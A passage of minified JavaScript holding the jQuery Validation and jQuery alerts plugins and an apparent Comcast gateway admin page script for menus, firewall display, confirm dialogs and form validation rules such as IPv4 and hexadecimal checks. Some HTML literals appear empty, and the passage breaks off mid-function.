e&&e.document?e.document.compatMode==="CSS1Compat"&&e.document.documentElement["client"+b]||e.document.body["client"+b]:e.nodeType===9?Math.max(e.documentElement["client"+b],e.body["scroll"+b],e.documentElement["scroll"+b],e.body["offset"+b],e.documentElement["offset"+b]):f===w?c.css(e,d):this.css(d,typeof f==="string"?f:f+"px")}});A.jQuery=A.$=c})(window);(function($){$.extend($.fn,{validate:function(options){if(!this.length){options&&options.debug&&window.console&&console.warn("nothing selected, can't validate, returning nothing");return}var validator=$.data(this[0],"validator");if(validator){return validator}validator=new $.validator(options,this[0]);$.data(this[0],"validator",validator);if(validator.settings.onsubmit){this.find("input, button").filter(".cancel").click(function(){validator.cancelSubmit=true});if(validator.settings.submitHandler){this.find("input, button").filter(":submit").click(function(){validator.submitButton=this})}this.submit(function(event){if(validator.settings.debug){event.preventDefault()}function handle(){if(validator.settings.submitHandler){if(validator.submitButton){var hidden=$("").attr("name",validator.submitButton.name).val(validator.submitButton.value).appendTo(validator.currentForm)}validator.settings.submitHandler.call(validator,validator.currentForm);if(validator.submitButton){hidden.remove()}return false}return true}if(validator.cancelSubmit){validator.cancelSubmit=false;return handle()}if(validator.form()){if(validator.pendingRequest){validator.formSubmitted=true;return false}return handle()}else{validator.focusInvalid();return false}})}return validator},valid:function(){if($(this[0]).is("form")){return this.validate().form()}else{var valid=true;var validator=$(this[0].form).validate();this.each(function(){valid&=validator.element(this)});return valid}},removeAttrs:function(attributes){var result={},$element=this;$.each(attributes.split(/\s/),function(index,value){result[value]=$element.attr(value);$element.removeAttr(value)});return result},rules:function(command,argument){var element=this[0];if(command){var settings=$.data(element.form,"validator").settings;var staticRules=settings.rules;var existingRules=$.validator.staticRules(element);switch(command){case"add":$.extend(existingRules,$.validator.normalizeRule(argument));staticRules[element.name]=existingRules;if(argument.messages){settings.messages[element.name]=$.extend(settings.messages[element.name],argument.messages)}break;case"remove":if(!argument){delete staticRules[element.name];return existingRules}var filtered={};$.each(argument.split(/\s/),function(index,method){filtered[method]=existingRules[method];delete existingRules[method]});return filtered}}var data=$.validator.normalizeRules($.extend({},$.validator.metadataRules(element),$.validator.classRules(element),$.validator.attributeRules(element),$.validator.staticRules(element)),element);if(data.required){var param=data.required;delete data.required;data=$.extend({required:param},data)}return data}});$.extend($.expr[":"],{blank:function(a){return!$.trim(a.value)},filled:function(a){return!!$.trim(a.value)},unchecked:function(a){return!a.checked}});$.validator=function(options,form){this.settings=$.extend({},$.validator.defaults,options);this.currentForm=form;this.init()};$.validator.format=function(source,params){if(arguments.length==1){return function(){var args=$.makeArray(arguments);args.unshift(source);return $.validator.format.apply(this,args)}}if(arguments.length>2&¶ms.constructor!=Array){params=$.makeArray(arguments).slice(1)}if(params.constructor!=Array){params=[params]}$.each(params,function(i,n){source=source.replace(new RegExp("\\{"+i+"\\}","g"),n)});return source};$.extend($.validator,{defaults:{messages:{},groups:{},rules:{},errorClass:"error",validClass:"valid",errorElement:"label",focusInvalid:true,errorContainer:$([]),errorLabelContainer:$([]),onsubmit:true,ignore:[],ignoreTitle:false,onfocusin:function(element){this.lastActive=element;if(this.settings.focusCleanup&&!this.blockFocusCleanup){this.settings.unhighlight&&this.settings.unhighlight.call(this,element,this.settings.errorClass,this.settings.validClass);this.errorsFor(element).hide()}},onfocusout:function(element){if(!this.checkable(element)&&(element.name in this.submitted||!this.optional(element))){this.element(element)}},onkeyup:function(element){if(element.name in this.submitted||element==this.lastElement){this.element(element)}},onclick:function(element){if(element.name in this.submitted){this.element(element)}},highlight:function(element,errorClass,validClass){$(element).addClass(errorClass).removeClass(validClass)},unhighlight:function(element,errorClass,validClass){$(element).removeClass(errorClass).addClass(validClass)}},setDefaults:function(settings){$.extend($.validator.defaults,settings)},messages:{required:"This field is required.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date (ISO).",dateDE:"Bitte geben Sie ein gltiges Datum ein.",number:"Please enter a valid number.",numberDE:"Bitte geben Sie eine Nummer ein.",digits:"Please enter only digits",creditcard:"Please enter a valid credit card number.",equalTo:"Please enter the same value again.",accept:"Please enter a value with a valid extension.",maxlength:$.validator.format("Please enter no more than {0} characters."),minlength:$.validator.format("Please enter at least {0} characters."),rangelength:$.validator.format("Please enter a value between {0} and {1} characters long."),range:$.validator.format("Please enter a value between {0} and {1}."),max:$.validator.format("Please enter a value less than or equal to {0}."),min:$.validator.format("Please enter a value greater than or equal to {0}.")},autoCreateRanges:false,prototype:{init:function(){this.labelContainer=$(this.settings.errorLabelContainer);this.errorContext=this.labelContainer.length&&this.labelContainer||$(this.currentForm);this.containers=$(this.settings.errorContainer).add(this.settings.errorLabelContainer);this.submitted={};this.valueCache={};this.pendingRequest=0;this.pending={};this.invalid={};this.reset();var groups=(this.groups={});$.each(this.settings.groups,function(key,value){$.each(value.split(/\s/),function(index,name){groups[name]=key})});var rules=this.settings.rules;$.each(rules,function(key,value){rules[key]=$.validator.normalizeRule(value)});function delegate(event){var validator=$.data(this[0].form,"validator");validator.settings["on"+event.type]&&validator.settings["on"+event.type].call(validator,this[0])}$(this.currentForm).delegate("focusin focusout keyup",":text, :password, :file, select, textarea",delegate).delegate("click",":radio, :checkbox",delegate);if(this.settings.invalidHandler){$(this.currentForm).bind("invalid-form.validate",this.settings.invalidHandler)}},form:function(){this.checkForm();$.extend(this.submitted,this.errorMap);this.invalid=$.extend({},this.errorMap);if(!this.valid()){$(this.currentForm).triggerHandler("invalid-form",[this])}this.showErrors();return this.valid()},checkForm:function(){this.prepareForm();for(var i=0,elements=(this.currentElements=this.elements());elements[i];i++){this.check(elements[i])}return this.valid()},element:function(element){element=this.clean(element);this.lastElement=element;this.prepareElement(element);this.currentElements=$(element);var result=this.check(element);if(result){delete this.invalid[element.name]}else{this.invalid[element.name]=true}if(!this.numberOfInvalids()){this.toHide=this.toHide.add(this.containers)}this.showErrors();return result},showErrors:function(errors){if(errors){$.extend(this.errorMap,errors);this.errorList=[];for(var name in errors){this.errorList.push({message:errors[name],element:this.findByName(name)[0]})}this.successList=$.grep(this.successList,function(element){return!(element.name in errors)})}this.settings.showErrors?this.settings.showErrors.call(this,this.errorMap,this.errorList):this.defaultShowErrors()},resetForm:function(){if($.fn.resetForm){$(this.currentForm).resetForm()}this.submitted={};this.prepareForm();this.hideErrors();this.elements().removeClass(this.settings.errorClass)},numberOfInvalids:function(){return this.objectLength(this.invalid)},objectLength:function(obj){var count=0;for(var i in obj){count++}return count},hideErrors:function(){this.addWrapper(this.toHide).hide()},valid:function(){return this.size()==0},size:function(){return this.errorList.length},focusInvalid:function(){if(this.settings.focusInvalid){try{$(this.findLastActive()||this.errorList.length&&this.errorList[0].element||[]).filter(":visible").focus()}catch(e){}}},findLastActive:function(){var lastActive=this.lastActive;return lastActive&&$.grep(this.errorList,function(n){return n.element.name==lastActive.name}).length==1&&lastActive},elements:function(){var validator=this,rulesCache={};return $([]).add(this.currentForm.elements).filter(":input").not(":submit, :reset, :image, [disabled]").not(this.settings.ignore).filter(function(){!this.name&&validator.settings.debug&&window.console&&console.error("%o has no name assigned",this);if(this.name in rulesCache||!validator.objectLength($(this).rules())){return false}rulesCache[this.name]=true;return true})},clean:function(selector){return $(selector)[0]},errors:function(){return $(this.settings.errorElement+"."+this.settings.errorClass,this.errorContext)},reset:function(){this.successList=[];this.errorList=[];this.errorMap={};this.toShow=$([]);this.toHide=$([]);this.formSubmitted=false;this.currentElements=$([])},prepareForm:function(){this.reset();this.toHide=this.errors().add(this.containers)},prepareElement:function(element){this.reset();this.toHide=this.errorsFor(element)},check:function(element){element=this.clean(element);if(this.checkable(element)){element=this.findByName(element.name)[0]}var rules=$(element).rules();var dependencyMismatch=false;for(method in rules){var rule={method:method,parameters:rules[method]};try{var result=$.validator.methods[method].call(this,element.value.replace(/\r/g,""),element,rule.parameters);if(result=="dependency-mismatch"){dependencyMismatch=true;continue}dependencyMismatch=false;if(result=="pending"){this.toHide=this.toHide.not(this.errorsFor(element));return}if(!result){this.formatAndAdd(element,rule);return false}}catch(e){this.settings.debug&&window.console&&console.log("exception occured when checking element "+element.id+", check the '"+rule.method+"' method");throw e}}if(dependencyMismatch){return}if(this.objectLength(rules)){this.successList.push(element)}return true},customMetaMessage:function(element,method){if(!$.metadata){return}var meta=this.settings.meta?$(element).metadata()[this.settings.meta]:$(element).metadata();return meta&&meta.messages&&meta.messages[method]},customMessage:function(name,method){var m=this.settings.messages[name];return m&&(m.constructor==String?m:m[method])},findDefined:function(){for(var i=0;iWarning: No message defined for "+element.name+"")},formatAndAdd:function(element,rule){var message=this.defaultMessage(element,rule.method);if(typeof message=="function"){message=message.call(this,rule.parameters,element)}this.errorList.push({message:message,element:element});this.errorMap[element.name]=message;this.submitted[element.name]=message},addWrapper:function(toToggle){if(this.settings.wrapper){toToggle=toToggle.add(toToggle.parent(this.settings.wrapper))}return toToggle},defaultShowErrors:function(){for(var i=0;this.errorList[i];i++){var error=this.errorList[i];this.settings.highlight&&this.settings.highlight.call(this,error.element,this.settings.errorClass,this.settings.validClass);this.showLabel(error.element,error.message)}if(this.errorList.length){this.toShow=this.toShow.add(this.containers)}if(this.settings.success){for(var i=0;this.successList[i];i++){this.showLabel(this.successList[i])}}if(this.settings.unhighlight){for(var i=0,elements=this.validElements();elements[i];i++){this.settings.unhighlight.call(this,elements[i],this.settings.errorClass,this.settings.validClass)}}this.toHide=this.toHide.not(this.toShow);this.hideErrors();this.addWrapper(this.toShow).show()},validElements:function(){return this.currentElements.not(this.invalidElements())},invalidElements:function(){return $(this.errorList).map(function(){return this.element})},showLabel:function(element,message){var label=this.errorsFor(element);if(label.length){label.removeClass().addClass(this.settings.errorClass);label.attr("generated")&&label.html(message)}else{label=$("<"+this.settings.errorElement+"/>").attr({"for":this.idOrName(element),generated:true}).addClass(this.settings.errorClass).html(message||"");if(this.settings.wrapper){label=label.hide().show().wrap("<"+this.settings.wrapper+"/>").parent()}if(!this.labelContainer.append(label).length){this.settings.errorPlacement?this.settings.errorPlacement(label,$(element)):label.insertAfter(element)}}if(!message&&this.settings.success){label.text("");typeof this.settings.success=="string"?label.addClass(this.settings.success):this.settings.success(label)}this.toShow=this.toShow.add(label)},errorsFor:function(element){return this.errors().filter("[for='"+this.idOrName(element)+"']")},idOrName:function(element){return this.groups[element.name]||(this.checkable(element)?element.name:element.id||element.name)},checkable:function(element){return/radio|checkbox/i.test(element.type)},findByName:function(name){var form=this.currentForm;return $(document.getElementsByName(name)).map(function(index,element){return element.form==form&&element.name==name&&element||null})},getLength:function(value,element){switch(element.nodeName.toLowerCase()){case"select":return $("option:selected",element).length;case"input":if(this.checkable(element)){return this.findByName(element.name).filter(":checked").length}}return value.length},depend:function(param,element){return this.dependTypes[typeof param]?this.dependTypes[typeof param](param,element):true},dependTypes:{"boolean":function(param,element){return param},string:function(param,element){return!!$(param,element.form).length},"function":function(param,element){return param(element)}},optional:function(element){return!$.validator.methods.required.call(this,$.trim(element.value),element)&&"dependency-mismatch"},startRequest:function(element){if(!this.pending[element.name]){this.pendingRequest++;this.pending[element.name]=true}},stopRequest:function(element,valid){this.pendingRequest--;if(this.pendingRequest<0){this.pendingRequest=0}delete this.pending[element.name];if(valid&&this.pendingRequest==0&&this.formSubmitted&&this.form()){$(this.currentForm).submit()}else{if(!valid&&this.pendingRequest==0&&this.formSubmitted){$(this.currentForm).triggerHandler("invalid-form",[this])}}},previousValue:function(element){return $.data(element,"previousValue")||$.data(element,"previousValue",previous={old:null,valid:true,message:this.defaultMessage(element,"remote")})}},classRuleSettings:{required:{required:true},email:{email:true},url:{url:true},date:{date:true},dateISO:{dateISO:true},dateDE:{dateDE:true},number:{number:true},numberDE:{numberDE:true},digits:{digits:true},creditcard:{creditcard:true}},addClassRules:function(className,rules){className.constructor==String?this.classRuleSettings[className]=rules:$.extend(this.classRuleSettings,className)},classRules:function(element){var rules={};var classes=$(element).attr("class");classes&&$.each(classes.split(" "),function(){if(this in $.validator.classRuleSettings){$.extend(rules,$.validator.classRuleSettings[this])}});return rules},attributeRules:function(element){var rules={};var $element=$(element);for(method in $.validator.methods){var value=$element.attr(method);if(value){rules[method]=value}}if(rules.maxlength&&/-1|2147483647|524288/.test(rules.maxlength)){delete rules.maxlength}return rules},metadataRules:function(element){if(!$.metadata){return{}}var meta=$.data(element.form,"validator").settings.meta;return meta?$(element).metadata()[meta]:$(element).metadata()},staticRules:function(element){var rules={};var validator=$.data(element.form,"validator");if(validator.settings.rules){rules=$.validator.normalizeRule(validator.settings.rules[element.name])||{}}return rules},normalizeRules:function(rules,element){$.each(rules,function(prop,val){if(val===false){delete rules[prop];return}if(val.param||val.depends){var keepRule=true;switch(typeof val.depends){case"string":keepRule=!!$(val.depends,element.form).length;break;case"function":keepRule=val.depends.call(element,element);break}if(keepRule){rules[prop]=val.param!==undefined?val.param:true}else{delete rules[prop]}}});$.each(rules,function(rule,parameter){rules[rule]=$.isFunction(parameter)?parameter(element):parameter});$.each(["minlength","maxlength","min","max"],function(){if(rules[this]){rules[this]=Number(rules[this])}});$.each(["rangelength","range"],function(){if(rules[this]){rules[this]=[Number(rules[this][0]),Number(rules[this][1])]}});if($.validator.autoCreateRanges){if(rules.min&&rules.max){rules.range=[rules.min,rules.max];delete rules.min;delete rules.max}if(rules.minlength&&rules.maxlength){rules.rangelength=[rules.minlength,rules.maxlength];delete rules.minlength;delete rules.maxlength}}if(rules.messages){delete rules.messages}return rules},normalizeRule:function(data){if(typeof data=="string"){var transformed={};$.each(data.split(/\s/),function(){transformed[this]=true});data=transformed}return data},addMethod:function(name,method,message){$.validator.methods[name]=method;$.validator.messages[name]=message||$.validator.messages[name];if(method.length<3){$.validator.addClassRules(name,$.validator.normalizeRule(name))}},methods:{required:function(value,element,param){if(!this.depend(param,element)){return"dependency-mismatch"}switch(element.nodeName.toLowerCase()){case"select":var options=$("option:selected",element);return options.length>0&&(element.type=="select-multiple"||($.browser.msie&&!(options[0].attributes.value.specified)?options[0].text:options[0].value).length>0);case"input":if(this.checkable(element)){return this.getLength(value,element)>0}default:return $.trim(value).length>0}},remote:function(value,element,param){if(this.optional(element)){return"dependency-mismatch"}var previous=this.previousValue(element);if(!this.settings.messages[element.name]){this.settings.messages[element.name]={}}this.settings.messages[element.name].remote=typeof previous.message=="function"?previous.message(value):previous.message;param=typeof param=="string"&&{url:param}||param;if(previous.old!==value){previous.old=value;var validator=this;this.startRequest(element);var data={};data[element.name]=value;$.ajax($.extend(true,{url:param,mode:"abort",port:"validate"+element.name,dataType:"json",data:data,success:function(response){var valid=response===true;if(valid){var submitted=validator.formSubmitted;validator.prepareElement(element);validator.formSubmitted=submitted;validator.successList.push(element);validator.showErrors()}else{var errors={};errors[element.name]=previous.message=response||validator.defaultMessage(element,"remote");validator.showErrors(errors)}previous.valid=valid;validator.stopRequest(element,valid)}},param));return"pending"}else{if(this.pending[element.name]){return"pending"}}return previous.valid},minlength:function(value,element,param){return this.optional(element)||this.getLength($.trim(value),element)>=param},maxlength:function(value,element,param){return this.optional(element)||this.getLength($.trim(value),element)<=param},rangelength:function(value,element,param){var length=this.getLength($.trim(value),element);return this.optional(element)||(length>=param[0]&&length<=param[1])},min:function(value,element,param){return this.optional(element)||value>=param},max:function(value,element,param){return this.optional(element)||value<=param},range:function(value,element,param){return this.optional(element)||(value>=param[0]&&value<=param[1])},email:function(value,element){return this.optional(element)||/^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i.test(value)},url:function(value,element){return this.optional(element)||/^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/i.test(value)},date:function(value,element){return this.optional(element)||!/Invalid|NaN/.test(new Date(value))},dateISO:function(value,element){return this.optional(element)||/^\d{4}[\/-]\d{1,2}[\/-]\d{1,2}$/.test(value)},dateDE:function(value,element){return this.optional(element)||/^\d\d?\.\d\d?\.\d\d\d?\d?$/.test(value)},number:function(value,element){return this.optional(element)||/^-?(?:\d+|\d{1,3}(?:,\d{3})+)(?:\.\d+)?$/.test(value)},numberDE:function(value,element){return this.optional(element)||/^-?(?:\d+|\d{1,3}(?:\.\d{3})+)(?:,\d+)?$/.test(value)},digits:function(value,element){return this.optional(element)||/^\d+$/.test(value)},creditcard:function(value,element){if(this.optional(element)){return"dependency-mismatch"}if(/[^0-9-]+/.test(value)){return false}var nCheck=0,nDigit=0,bEven=false;value=value.replace(/\D/g,"");for(n=value.length-1;n>=0;n--){var cDigit=value.charAt(n);var nDigit=parseInt(cDigit,10);if(bEven){if((nDigit*=2)>9){nDigit-=9}}nCheck+=nDigit;bEven=!bEven}return(nCheck%10)==0},accept:function(value,element,param){param=typeof param=="string"?param.replace(/,/g,"|"):"png|jpe?g|gif";return this.optional(element)||value.match(new RegExp(".("+param+")$","i"))},equalTo:function(value,element,param){return value==$(param).val()}}});$.format=$.validator.format})(jQuery);(function($){var ajax=$.ajax;var pendingRequests={};$.ajax=function(settings){settings=$.extend(settings,$.extend({},$.ajaxSettings,settings));var port=settings.port;if(settings.mode=="abort"){if(pendingRequests[port]){pendingRequests[port].abort()}return(pendingRequests[port]=ajax.apply(this,arguments))}return ajax.apply(this,arguments)}})(jQuery);(function($){$.each({focus:"focusin",blur:"focusout"},function(original,fix){$.event.special[fix]={setup:function(){if($.browser.msie){return false}this.addEventListener(original,$.event.special[fix].handler,true)},teardown:function(){if($.browser.msie){return false}this.removeEventListener(original,$.event.special[fix].handler,true)},handler:function(e){arguments[0]=$.event.fix(e);arguments[0].type=fix;return $.event.handle.apply(this,arguments)}}});$.extend($.fn,{delegate:function(type,delegate,handler){return this.bind(type,function(event){var target=$(event.target);if(target.is(delegate)){return handler.apply(target,arguments)}})},triggerEvent:function(type,target){return this.triggerHandler(type,[$.event.fix({type:type,target:target})])}})})(jQuery);(function($){$.alerts={verticalOffset:-75,horizontalOffset:0,repositionOnResize:true,overlayOpacity:0.5,overlayColor:"#000",draggable:true,okButton:" OK ",cancelButton:" Cancel ",dialogClass:null,alert:function(message,title,callback){if(title==null){title="Alert"}$.alerts._show(title,message,null,"alert",function(result){if(callback){callback(result)}})},confirm:function(message,title,callback){if(title==null){title="Confirm"}$.alerts._show(title,message,null,"confirm",function(result){if(callback){callback(result)}})},prompt:function(message,value,title,callback){if(title==null){title="Prompt"}$.alerts._show(title,message,value,"prompt",function(result){if(callback){callback(result)}})},_show:function(title,msg,value,type,callback){$.alerts._hide();$.alerts._overlay("show");$("BODY").append('');if($.alerts.dialogClass){$("#popup_container").addClass($.alerts.dialogClass)}var pos=($.browser.msie&&parseInt($.browser.version)<=6)?"absolute":"fixed";$("#popup_container").css({position:pos,zIndex:99999,padding:0,margin:0});$("#popup_title").text(title);$("#popup_content").addClass(type);$("#popup_message").text(msg);$("#popup_message").html($("#popup_message").text().replace(/\n/g,"
"));$("#popup_container").css({minWidth:$("#popup_container").outerWidth(),maxWidth:$("#popup_container").outerWidth()});$.alerts._reposition();$.alerts._maintainPosition(true);switch(type){case"alert":$("#popup_message").after('');$("#popup_ok").click(function(){$.alerts._hide();callback(true)});$("#popup_ok").focus().keypress(function(e){if(e.keyCode==13||e.keyCode==27){$("#popup_ok").trigger("click")}});break;case"confirm":$("#popup_message").after('');$("#popup_ok").click(function(){$.alerts._hide();if(callback){callback(true)}});$("#popup_cancel").click(function(){$.alerts._hide();if(callback){callback(false)}});$("#popup_ok").focus();$("#popup_ok, #popup_cancel").keypress(function(e){if(e.keyCode==13){$("#popup_ok").trigger("click")}if(e.keyCode==27){$("#popup_cancel").trigger("click")}});break;case"prompt":$("#popup_message").append('
').after('');$("#popup_prompt").width($("#popup_message").width());$("#popup_ok").click(function(){var val=$("#popup_prompt").val();$.alerts._hide();if(callback){callback(val)}});$("#popup_cancel").click(function(){$.alerts._hide();if(callback){callback(null)}});$("#popup_prompt, #popup_ok, #popup_cancel").keypress(function(e){if(e.keyCode==13){$("#popup_ok").trigger("click")}if(e.keyCode==27){$("#popup_cancel").trigger("click")}});if(value){$("#popup_prompt").val(value)}$("#popup_prompt").focus().select();break}if($.alerts.draggable){try{$("#popup_container").draggable({handle:$("#popup_title")});$("#popup_title").css({cursor:"move"})}catch(e){}}},_hide:function(){$("#popup_container").remove();$.alerts._overlay("hide");$.alerts._maintainPosition(false)},_overlay:function(status){switch(status){case"show":$.alerts._overlay("hide");$("BODY").append('');$("#popup_overlay").css({position:"absolute",zIndex:99998,top:"0px",left:"0px",width:"100%",height:$(document).height(),background:$.alerts.overlayColor,opacity:$.alerts.overlayOpacity});break;case"hide":$("#popup_overlay").remove();break}},_reposition:function(){var top=(($(window).height()/2)-($("#popup_container").outerHeight()/2))+$.alerts.verticalOffset;var left=(($(window).width()/2)-($("#popup_container").outerWidth()/2))+$.alerts.horizontalOffset;if(top<0){top=0}if(left<0){left=0}if($.browser.msie&&parseInt($.browser.version)<=6){top=top+$(window).scrollTop()}$("#popup_container").css({top:top+"px",left:left+"px"});$("#popup_overlay").height($(document).height())},_maintainPosition:function(status){if($.alerts.repositionOnResize){switch(status){case true:$(window).bind("resize",$.alerts._reposition);break;case false:$(window).unbind("resize",$.alerts._reposition);break}}}};jAlert=function(message,title,callback){$.alerts.alert(message,title,callback)};jConfirm=function(message,title,callback){$.alerts.confirm(message,title,callback)};jPrompt=function(message,value,title,callback){$.alerts.prompt(message,value,title,callback)}})(jQuery);var comcast=window.comcast||{};comcast.page=function(){function setupLeftNavigation(selectedNavElement){if(typeof selectedNavElement=="string"){$("#nav li."+selectedNavElement+" a").addClass("selected")}$("#nav ul:has(.selected)").show();$("#nav li li:has(ul) > a").addClass("folder");$("#nav li li:has(.selected) > a").addClass("folder-open");$("#nav li:has(.selected) > a.top-level").addClass("top-level-active");$("#nav a.top-level").click(function(){var $topNav=$("#nav a.top-level-active");var $newNav=$(this);var $newNavList=$newNav.next();if(!$newNav.hasClass("top-level-active")){$("#nav a.top-level-active").removeClass("top-level-active").next();$(this).addClass("top-level-active");$topNav.next();$newNav.next()}});$("#nav a.folder").click(function(){var $link=$(this);var $list=$link.next();if($link.is(".folder-open")){$link.removeClass("folder-open");$list.slideUp()}else{$link.addClass("folder-open");$list.slideDown()}});if($.browser.mozilla){var $version=$.browser.version.split(".");if($version[0]&&parseInt($version[0],10)<=1){if($version[1]&&parseInt($version[1],10)<=9){if($version[2]&&parseInt($version[2],10)<=0){if($version[3]&&parseInt($version[3],10)<=11||parseInt($version[3],10)<=14){$(".block").addClass("ff2");$(".block").wrapInner($('
'))}}}}if($version[0]&&parseInt($version[0],10)<=1){if($version[1]&&parseInt($version[1],10)<=8){if($version[2]&&parseInt($version[2],10)<=1){if($version[3]&&parseInt($version[3],10)<=15){$(".block").addClass("ff2");$(".block").wrapInner($('
'))}}}}}}function setupBatteryIndicator(){var battery=$("li.battery").text().match(/\d+/);var $icon=$("li.battery span");if(battery>90){$icon.removeClass().addClass("bat-100")}else{if(battery>60){$icon.removeClass().addClass("bat-75")}else{if(battery>39){$icon.removeClass().addClass("bat-50")}else{if(battery>18){$icon.removeClass().addClass("bat-25")}else{if(battery>8){$icon.removeClass().addClass("bat-10")}else{$icon.removeClass().addClass("bat-0")}}}}}}function setupEducationalTip(){if($("#educational-tip:has(.hidden)").length>0){var closed=true;var $link=$('more').click(function(){if(closed){$("#educational-tip .hidden").fadeIn();closed=false;$(this).html("less")}else{$("#educational-tip .hidden").fadeOut();closed=true;$(this).html("more")}}).appendTo("#educational-tip")}}function setupFirewallDisplay(){var $link=$("#security-level label");var $div=$("#security-level .hide");$($div).hide();$($link).click(function(e){$(this).siblings(".hide").slideToggle()})}function setupDeleteConfirmDialogs(){$("a.confirm").click(function(e){e.preventDefault();var href=$(this).attr("href");var message=($(this).attr("title").length>0)?"Are you sure you want to "+$(this).attr("title")+"?":"Are you sure?";jConfirm(message,"Are You Sure?",function(ret){if(ret){window.location=href}})})}function setupFormValidation(){$.validator.setDefaults({errorElement:"p",errorPlacement:function(error,element){error.appendTo(element.closest(".form-row"))}});jQuery.extend(jQuery.validator.messages,{required:"This is a required field.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date (ISO).",number:"Please enter a valid number.",digits:"Please enter only digits",creditcard:"Please enter a valid credit card number.",equalTo:"Please enter the same value again.",accept:"Please enter a value with a valid extension.",maxlength:$.validator.format("Please enter no more than {0} characters."),minlength:$.validator.format("Please enter at least {0} characters."),rangelength:$.validator.format("Please enter a value between {0} and {1} characters long."),range:$.validator.format("Please enter a value between {0} and {1}."),max:$.validator.format("Please enter a value less than or equal to {0}."),min:$.validator.format("Please enter a value greater than or equal to {0}."),ipv4:"Please enter an IPv4 address in the format #.#.#.#"});$.validator.addMethod("alphanumeric",function(value,element){return this.optional(element)||/^[a-zA-Z0-9]+$/i.test(value)},"Only letters and numbers are valid. No spaces or special characters.");$.validator.addMethod("exactlengths",function(value,element,param){return this.optional(element)||!jQuery.inArray(value.length,param)},"Please enter exactly {0} characters.");$.validator.addMethod("hexadecimal",function(value,element){return this.optional(element)||/^[a-fA-F0-9]+$/i.test(value)},"Only hexadecimal characters are valid. Acceptable characters are ABCDEF0123456789.");$.validator.addMethod("exactlength",function(value,element,param){return this.optional(element)||value.length==param},jQuery.format("Please enter exactly {0} characters."));$.validator.addMethod("ipv4",function(value,element){return this.optional(element)||/^0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])\.0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])\.0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])\.0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])$/i.test(value)},"Please enter an IPv4 address in the format #.#.#.#");jQuery.validator.addMethod("ip",function(val,el){function ip_valid(value){return(value.match(/^\d+$/g)&&value>=0&&value<=255)}var inputs=$(el).closest(".form-row").find("input");var isValid=true;inputs.each(function(index,element){isValid&=ip_valid($(element).val())});return isValid},"Please enter a valid IP address.");$.validator.addMethod("ipv6",function(value,element){return 